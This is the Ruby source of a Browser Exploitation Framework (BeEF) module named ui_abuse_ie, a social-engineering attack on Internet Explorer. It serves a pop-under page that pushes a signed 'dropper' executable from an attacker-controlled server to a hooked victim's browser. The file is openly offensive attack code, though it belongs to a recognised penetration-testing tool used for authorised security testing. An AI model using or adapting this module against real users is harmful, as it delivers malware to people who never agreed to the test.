Path: blob/master/modules/social_engineering/ui_abuse_ie/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5################################################################################6# Based on the PoC by Rosario Valotta7# Ported to BeEF by antisnatchor8# For more information see: https://sites.google.com/site/tentacoloviola/9################################################################################10class Ui_abuse_ie < BeEF::Core::Command11def self.options12[13{ 'name' => 'exe_url', 'ui_label' => 'Executable URL (MUST be signed)', 'value' => 'http://beef_server:beef_port/yourdropper.exe' }14]15end1617def pre_send18@datastore.each do |input|19@exe_url = input['value'] if input['name'] == 'exe_url'20end2122popunder = File.read("#{$root_dir}/modules/social_engineering/ui_abuse_ie/popunder.html")23body = popunder.gsub('__URL_PLACEHOLDER__', @exe_url)24BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200', { 'Content-Type' => 'text/html' }, body, '/underpop.html', -1)25rescue StandardError => e26print_error "Something went wrong executing Ui_abuse_ie::pre_send, exception: #{e.message}"27end2829def post_execute30content = {}31content['results'] = @datastore['results']32save content33end34end353637